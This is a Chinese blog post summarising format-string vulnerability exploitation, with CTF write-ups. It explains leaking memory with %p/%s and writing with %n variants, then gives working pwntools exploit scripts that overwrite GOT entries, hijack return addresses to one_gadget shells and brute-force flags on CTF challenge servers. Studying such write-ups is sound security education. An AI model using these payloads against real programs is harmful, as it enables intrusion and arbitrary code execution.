格式化字符串漏洞简单总结

本质:将用户输入当作格式化字符串使用

格式解析

1
%[parameter] [flag] [field width] [precision] [length] type

parameter:n$,获取格式化字符串中的指定参数

field width:输出的最小宽度

precision:输出的最大长度

length:hh,输出一个字节;h,输出一个双字节

type:

  • d/i,有符号整数

  • u,无符号整数

  • x/X,16 进制 unsigned int ,x 使用小写字母,X 使用大写字母,如果指定精度,则输出的数字不足时在左侧补 0,默认精度为 1

  • o,8 进制 unsigned int ,精度规则同上

  • s,如果没有用 l 标志,输出 null 结尾的字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符

  • c,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符

  • p, void * 型,输出对应变量的值。printf(“%p”,a) 用地址的格式打印变量 a 的值,printf(“%p”, &a) 打印变量 a 所在的地址

  • n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。如%100c10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节有时直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来调整

泄露栈内存

建议使用 %p来获取对应栈的内存,可以不用考虑位数的区别

可以通过如下方式确定该格式化字符串为第几个参数的问题

1
[ tag ]%p%p%p%p%p%p%p%p%p%p%p%p.......

[tag]为重复某个字符的字节长来作为tag,后面个%p会将依次遍历以地址的形式打印出函数参数

利用 %s 来获取变量所对应地址的内容,有零截断,假设该格式化字符串相对函数调用为第k个参数,那么就可以通过addr%k$s的方式来获取某个指定地址addr的内容

输入的AAAA对应后面到0x41414141,也就是格式化字符串的第四个参数,如果将AAAA替换成某个函数的got地址,那么程序就会打印出这个函数的真实地址

1
2
3
4
5
6
7
8
9
10
from pwn import *
sh = process('./leakmemory')
elf = ELF('./leakmemory')
__isoc99_scanf_got = elf.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8]))
sh.interactive()

payload = p32(__isoc99_scanf_got) + ‘%4$s’ #将AAAA%4$p中的A替换成scanf函数的got地址

当然也可以写成这样:payload= ‘%5$s’ +p32(__isoc99_scanf_got),一般用这种来绕过零截断

覆盖内存

前面通过格式化字符串来泄露栈内存以及任意地址内存,那么这部分要直接修改栈上变量的值。想要进行覆盖就要有一个东西有写的能力,这个时候就用到了%n

1
...[ overwrite addr ]....%[ overwrite offset ]$n

overwrite offset 地址表示要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数

一般来说,利用分为以下的步骤:

• 确定覆盖地址

• 确定相对偏移(找格式化字符串中第几个参数)

• 进行覆盖

覆盖栈内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}

按上面覆盖内存的方式

1
c_addr + %012d + %6$n

因为前面的c_addr已经占了4个字节,第二个%012d是为了要写入16,补全16个字节,最后的%6$n是为了向第6个参数内写16,因为c要等于16

1
2
3
4
5
6
7
8
from pwn import *
sh = process('./overwrite')
c_addr = int(sh.recvuntil('\n', drop=True), 16)
print hex(c_addr)
payload = p32(c_addr) + 'a'*12 + '%6$n'
sh.sendline(payload)
print sh.recv()
sh.interactive()

覆盖小数字

小数字是指小于机器字长的数字。拿a=2举例子,将地址放在最前面,那么经过p32小端序转化之后地址本身就会占4个字节,所以经过%n存放的时候,向变量中写的数一定大于等于4

但也可以向指定参数写地址

比如这样:'aa%k$naa' + p32(a_addr)

前面两个a代表写入内存的长度2,后两个a是为了补足八字节

1
'aa%k' + '$naa' + p32(a_addr)

变量是从第六个参数开始的,所以aa%k是第6个、$naa是第7个、p32(a_addr)是第8个,所以k需要改成8,这样%8$n就会将“aa”这两个字符的字符数2写在第8个参数,即变量a的地址中

1
2
3
4
5
6
7
from pwn import *
sh = process('./overwrite')
a_addr = 0x0804A024
payload = 'aa%8$naa' + p32(a_addr)
sh.sendline(payload)
print(sh.recv())
sh.interactive()

覆盖大数字

拿b = 0x12345678举例,换成十进制的话就是305419896个字节,这已经非常大了,没法构建一个超级长的payload的插入栈中,因为栈的长度可能都没有这么长

那么改变一下思路,不一定要一次性写入0x12345678,可以一个字节一个字节填充,存放变量b的地址空间有4个字节

如果使用了h标志位,那么就会向变量b中一次性写两个字节,写两次填满。使用hh标志位会向变量b中一次性写一个字节,写四次填满

那么如果将b_addr放在格式化字符串的第六个参数位置、b_addr + 1放在第7个参数位置、b_addr + 2放在第8个参数位置、b_addr + 3放在第9个参数位置。再通过%6$hhn、%7$hhn、%8$hhn、%9$hhn将0x78、0x56、0x34、0x12写进去就可以了

1
2
payload = p32(b_addr)+p32(b_addr+1)+p32(b_addr+2)+p32(b_addr+3)
payload += '%104x'+'%6$hhn'+'%222x'+'%7$hhn'+'%222x'+'%8$hhn'+'%222x'+'%9$hhn'

%104x这种需要倒推得到

前面的四个p32每个占4字节,一共16个字节,%104x占104个字节,所以104 + 16 = 120 =0x78,所以%6$hhn会将0x78写到第6个参数,即p32(b_addr)的位置

后面同理

%222x占222个字节,再加上前面的字节数:120 + 222 = 342 = 0x156,因为hh是单字,所以只取后面的0x56,所以%7$hhn会将0x56写到第7个参数,即p32(b_addr + 1)的位置

%222x占222个字节,再加上前面的字节数:342 + 222 = 564 = 0x234,因为hh是单字,所以只取后面的0x34,所以%8$hhn会将0x34写到第8个参数,即p32(b_addr + 2)的位置

%222x占222个字节,再加上前面的字节数:564 + 222 = 0x312,因为hh是单字,所以只取后面的0x12,所以%9$hhn会将0x12写到第9个参数,即p32(b_addr + 3)的位置

1
2
3
4
5
6
7
8
9
from pwn import *
sh = process('./overwrite')
b_addr=0x0804A028
payload = p32(b_addr)+p32(b_addr+1)+p32(b_addr+2)+p32(b_addr+3)
payload += '%104x'+'%6$hhn'+'%222x'+'%7$hhn'+'%222x'+'%8$hhn'+'%222x'+'%9$hhn'
sh.sendline(payload)
#sh.sendline(fmtstr_payload(6, {0x804A028:0x12345678}))
print sh.recv()
sh.interactive()

自动化利用

下面6表示相对于格式化字符串的偏移,中间是个字典,想把printf_got改为system,也可以把system换成具体的值,short表示写入两字节

有时候因为题目的特殊性或者栈对齐的问题,导致工具无法利用

栈上格式化字符串利用

泄露canary

利用格式化字符串漏洞发现canary相对格式化字符串偏移

泄露canary后在payload回填canary

got表可写

原理

现在的C程序中,libc的函数是通过GOT表来实现跳转的。在没有开启RELRO(或开启Partial RELRO)保护的前提下,每个libc的函数对应的GOT表项是可以被修改的。因此修改某个libc函数的GOT表内容为另一个libc函数的地址来实现对程序的控制

假设将函数A的地址覆盖为函数B的地址,那么这一攻击技巧可以分为以下步骤

1.确定函数A的GOT表地址

主要利用函数A一般在程序中已有,所以可以采用寻找地址的方法来找

2.确定函数B的内存地址

需要想办法泄露对应函数B的地址

3.将函数B的内存写入到函数A的GOT表地址处

需要利用函数的漏洞来触发

■写入函数:write函数

■ROP

●pop eax; ret; # printf@got -> eax

●pop ebx; ret; # (addr_offset = system_addr - printf_addr) -> ebx

●add [eax] ebx; ret; # [printf@got] = [printf@got] + addr_offset

■格式化字符串任意地址写

2023HDCTF-minions

利用格式化字符串覆盖key的值

这里返回地址不能是main,因为前面b’a’*0x38破坏了rbp,而_start会先调用__libc_start_main,初始化执行环境并重新对齐栈帧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
elf = ELF('./minions1')
debug = 1
if debug:
io = process('./minions1')
else:
io = remote('node5.anna.nssctf.cn', 26361)

def s(a):
io.send(a)
def sl(a):
io.sendline(a)
def sa(a,b):
io.sendafter(a, b)
def sla(a,b):
io.sendlineafter(a, b)
def ru(a):
io.recvuntil(a)
def debug():
gdb.attach(io)
def inter():
io.interactive()

key=0x6010a0
start=elf.sym["_start"]
printf_got=elf.got['printf']
system=elf.sym['system']

#debug()
payload1=fmtstr_payload(6,{key:102})
s(payload1)
ru("welcome,tell me more about you")
payload2=b'a'*0x38+p64(start)
s(payload2)
sl(b'a')
ru("Welcome to HDCTF.What you name?\n")
payload3=fmtstr_payload(6,{printf_got:system})
s(payload3)
ru("welcome,tell me more about you")
s(payload2)
sl(b'a')
payload4=b'/bin/sh'
ru("Welcome to HDCTF.What you name?\n")
s(payload4)

inter()

还有一种思路是泄露栈地址后迁移到栈上,先泄露vuln的rbp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
elf = ELF('./minions1')
debug = 0
if debug:
io = process('./minions1')
else:
io = remote('node5.anna.nssctf.cn', 26685)

def s(a):
io.send(a)
def sl(a):
io.sendline(a)
def sa(a,b):
io.sendafter(a, b)
def sla(a,b):
io.sendlineafter(a, b)
def ru(a):
io.recvuntil(a)
def debug():
gdb.attach(io)
def inter():
io.interactive()

key=0x6010a0
pop_rdi=0x400893
ret=0x400581
system=elf.plt['system']
leave_ret=0x400758

payload1=b'%32$p%'+str(102-14).encode()+b'c%8$hhna'+p64(key)#-14是因为前面泄露的地址长度刚好是14
ru("Welcome to HDCTF.What you name?\n")
sl(payload1)
ru("Hello,")
stack=int(io.recvuntil(b' ',drop=True),16)
print('stack:',hex(stack))
buf=stack-0x30
payload2=b'/bin/sh\x00'+p64(ret)+p64(pop_rdi)+p64(buf)+p64(system)
payload2=payload2.ljust(0x30,b'a')
payload2+=p64(buf)+p64(leave_ret)
ru("welcome,tell me more about you")
s(payload2)
ru("That's great.Do you like Minions?")
sl(b'a')
s('cat flag.txt;')

inter()

got表不可写

劫持ret_addr改为one_gadget

geek-fmt2.0

开了pie且开启了full relro

两次格式化字符串

格式化字符串偏移为6,libc,stack,pie偏移分别为19,21,23

且泄露栈地址到rbp距离为0xf8

libc减去偏移0x24083

需要把ret_addr改为one_gadget_addr,one_gadget可以一个个试

raed只有0x50,pwntools生成的fmtstr_payload大概率会超

one_gadget有5位偏移,所以至少得改3字节

先写一字节再写两字节,比直接写四字节快得多,ljust填充6到10个参数剩余的内存,最后加要修改的返回地址,ret表示修改第一个字节,ret+1表示修改的起始地址是第二个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

filename='./fmt2.0'
elf=ELF(filename)
libc=ELF('./libc.so.6')
context(arch=elf.arch,os='linux',log_level='debug')

debug=0
if debug:
io=process(filename)
else:
io=remote('nc1.ctfplus.cn',41059)

def s(a):
io.send(a)
def sl(a):
io.sendline(a)
def ru(a):
io.recvuntil(a)
def debug():
gdb.attach(io)
def inter():
io.interactive()

#debug()
payload1="%19$p-%21$p-%23$p"
s(payload1)
ru("frist str:")
libc=int(io.recv(14),16)-0x24083
ru('-')
stack=int(io.recv(14),16)
ru('-')
pie=int(io.recv(14),16)-elf.sym['main']
print('lib:',hex(libc))
print('stack:',hex(stack))
print('pie:',hex(pie))
rbp=stack-0xf8
one_gadget=libc+0xe3b01
ret=rbp+0x8
payload2=b"%"+str(one_gadget&0xff).encode()+b"c%11$hhn"
payload2+=b"%"+str((one_gadget>>8)&0xffff-(one_gadget&0xff)).encode()+b"c%12$hn"
payload2=payload2.ljust(0x28,b'a')
payload2+=p64(ret)+p64(ret+1)
ru("second str:")
s(payload2)

inter()

非栈上格式化字符串利用

geek2023-fmt3.0

三次非栈上格式化字符串利用

imgimg

第一次泄露地址,第二次把某个地址改成返回地址所在栈地址,第三次把返回地址改成one_gadget

找到一个有二级指向的地址,尝试改成ret_addr和ret_addr+1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

filename='./fmt3.0'
elf=ELF(filename)
libc=ELF('./libc.so.6')
context(arch=elf.arch,os='linux',log_level='debug')

debug=0
if debug:
io=process(filename)
else:
io=remote('nc1.ctfplus.cn',32739)

def s(a):
io.send(a)
def sl(a):
io.sendline(a)
def ru(a):
io.recvuntil(a)
def debug():
gdb.attach(io)
def inter():
io.interactive()

payload1=b'%8$p-%11$p-%13$p'
ru("hack me!\n")
s(payload1)
#debug()
stack=int(io.recv(14),16)
ru(b'-')
pie=int(io.recv(14),16)-(elf.sym['main']+28)
ru(b'-')
libc=int(io.recv(14),16)-0x24083
print('lib:',hex(libc))
print('stack:',hex(stack))
print('pie:',hex(pie))
ret_addr=stack+0x18
payload2=b'%'+str(ret_addr&0xffff).encode()+b'c%30$hn'
payload2+=b'%'+str(1).encode()+b'c%31$hn'
ru("hack me!\n")
s(payload2)
ogg=[0xe3afe,0xe3b01,0xe3b04]
one_gadget=ogg[1]+libc
payload3=b'%'+str(one_gadget&0xff).encode()+b'c%43$hhn'
payload3+=b'%'+str(((one_gadget>>8)&0xffff)-(one_gadget&0xff)).encode()+b'c%45$hn'
ru("hack me!\n")
s(payload3)

inter()

bss段

DASCTF2023六月挑战赛fooooood

非栈上格式化字符串,只有三次机会且没有后门函数,明显不够,需要想办法先修改次数,3次刚好够用

指向libc_start_main就是main的返回地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *

filename='./pwn'
elf = ELF(filename)
libc = ELF("libc.so.6")
context(arch = elf.arch,log_level = 'debug',os = 'linux')

debug = 1
if debug:
io = process(filename)
else:
io = remote('node5.buuoj.cn',29069)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r(a) : return io.recv(a)
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def debug():
gdb.attach(io)
def b(addr):
#bk="b *$rebase("+str(addr)+")"
bk='b *' + str(addr)
attach(io,bk)
def get_addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#return u32(io.recv()[0:4])

ru("Give me your name:")
sl('j1ya')
ru("what's your favourite food: ")
sl('%9$p%11$p')
ru("You like ")
libc_base=int(r(14),16)-0x20840
print('libc_base:',hex(libc_base))
ogs=[0x4527a,0xf03a4,0xf1247]
og=libc_base+ogs[2]
stack=int(r(14),16)
print(hex(stack))
target=stack-0xe0
i_addr=stack-0xf4
#debug()
sla('favourite food: ','%'+str(i_addr&0xffff)+'c%11$hn')
sla('favourite food: ','%'+str(6)+'c%37$hhn')
sla('favourite food: ','%'+str(target&0xffff)+'c%11$hn')
sla('favourite food: ','%'+str(og&0xffff)+'c%37$hn')
sla('favourite food: ','%'+str((target+2)&0xffff)+'c%11$hn')
sla('favourite food: ','%'+str((og>>16)&0xff)+'c%37$hhn')
inter()

格式化字符串漏洞可能会有非预期,用%s直接爆破环境变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.log_level='debug'
r = remote('node5.buuoj.cn', 29828)
elf=ELF('./pwn')

for i in range(1,100):
try:
r = remote('node5.buuoj.cn', 29828)
elf = ELF('./pwn')
r.sendlineafter("Give me your name:", 's')
for j in range(3):
r.recvuntil("food: ")
r.sendline('%' + str(10 + 3 * i + j) + '$s.')
result = r.recvuntil(b'.', drop=True)
if b'flag' in result or b'DASCTF' in result:
print(i, result)
exit(0)
except EOFError:
pass

参考链接:

Geek-Challenge-2023-pwn-fmt2.0_哔哩哔哩_bilibili

PWN入门(2-1-3)-格式化字符串漏洞进阶(x86)


格式化字符串漏洞简单总结
https://j1ya-22.github.io/2026/01/29/格式化字符串漏洞简单总结/
作者
j1ya
发布于
2026年1月29日
许可协议